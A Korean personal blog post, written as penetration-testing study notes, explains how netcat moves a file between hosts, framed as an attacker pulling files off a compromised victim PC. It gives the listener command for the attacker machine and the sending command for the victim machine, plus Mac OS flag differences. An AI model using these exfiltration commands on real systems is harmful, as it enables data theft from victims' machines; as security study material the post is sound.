Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- AttackGraph
- ip forwarding
- cgroups
- Kublet
- Chrome 작업관리자
- 화이트해커
- 프로젝트
- Container
- OIDC
- davtest
- 대학원
- 강의
- 계정 탈취
- OpenID Connect
- dnsenum
- recon-ng
- NMAP
- SecurityMetric
- Social Network in Game
- airdecap-ng
- 공격그래프
- Shift + ESC
- 액티브스캐닝
- decap
- 패시브스캐닝
- Mimikatz
- 보안
- 무선채널
- Mac
- 넷크래프트
Archives
- Today
- Total
네른
[한줄짜리] 3.netcat을 이용한 호스트간 파일 전송 본문
넷캣은 네트워크를 통해 호스트간 간단한 데이터를 읽고 쓰는 데 주로 사용되는 유틸리티이다.
telnet 등을 이용할 때 종종 이용하곤 하는데, 모의해킹 관련 공부를 진행하면서 모의해킹에도 주로 사용하는 기능이 있다고 해서 정리해보았다.
공격자가 피해자의 PC에 접속한 경우, 피해자의 PC에서 특정 파일을 빼내오고싶을 때 종종 사용하는 기능이다. 크게 클라이언트와 서버측으로 나누어보자
서버(공격자 PC)
nc -lvp port_num > 저장할 파일 명
클라이언트(피해자 PC)
nc -q 0 ip_addr port_num < 전송할 파일 명
--> 이렇게 하면, 공격자 측에서 포트를 열어두고 피해자 측에서 nc를 통해 접속해서 파일을 전송할 수 있음
--> linux 계열에서 < 의 의미를 생각해보면 알 수 있다. (넓은쪽의 결과를 좁은쪽으로 출력해라)
--> 즉, 서버측에서는 리스닝한 결과를 저장하는 것 / 클라이언트 측에서는 전송하고자 하는 파일을 netcat에다 던지는 것
참고. Mac OS에서는 nc -lvp가 안된다. nc -l port_num -v > 저장할 파일 명 으로 해야 되더라~
참고2. Mac OS에서는 -p 대신 -w를 사용하면 되더라~
'궁금 > 한줄짜리' 카테고리의 다른 글
MAC OS 무선 채널 변경 (0) | 2019.06.08 |
---|---|
Chrome 작업관리자 (0) | 2019.06.08 |
[한줄짜리] 4. Bind shell vs. Reverse shell (0) | 2019.04.14 |
[한줄짜리] 2. Program Stack, Heap size (0) | 2018.01.11 |
[한줄짜리] 1. Linux Make (0) | 2018.01.11 |
Comments